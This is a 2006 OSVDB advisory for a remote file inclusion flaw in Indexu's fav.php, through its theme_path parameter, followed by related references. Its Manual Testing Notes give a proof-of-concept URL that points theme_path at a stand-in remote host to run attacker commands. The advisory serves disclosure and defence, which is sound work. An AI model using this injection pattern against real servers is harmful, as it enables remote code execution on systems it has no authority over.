Indexu fav.php theme_path Variable Remote File Inclusion

2006-04-11T04:51:35
ID OSVDB:28409
Type osvdb
Reporter SnIpEr_SA(selfar2002@hotmail.com)
Modified 2006-04-11T04:51:35

Description

Vulnerability Description

Indexu contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the fav.php script not properly sanitizing user input supplied to the 'theme_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

Indexu contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the fav.php script not properly sanitizing user input supplied to the 'theme_path' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[target]/indexu/fav.php?theme_path=http://evil.txt?cmd

References:

Vendor URL: http://www.nicecoder.com/ Security Tracker: 1015891 Related OSVDB ID: 24596 Related OSVDB ID: 28405 Related OSVDB ID: 28407 Related OSVDB ID: 28416 Related OSVDB ID: 28418 Related OSVDB ID: 28419 Related OSVDB ID: 28421 Related OSVDB ID: 28422 Related OSVDB ID: 24597 Related OSVDB ID: 28404 Related OSVDB ID: 28408 Related OSVDB ID: 28413 Related OSVDB ID: 28406 Related OSVDB ID: 28411 Related OSVDB ID: 28414 Related OSVDB ID: 28417 Related OSVDB ID: 28410 Related OSVDB ID: 28412 Related OSVDB ID: 28415 Related OSVDB ID: 28420 Related OSVDB ID: 28423 Mail List Post: http://archives.neohapsis.com/archives/bugtraq/2006-04/0203.html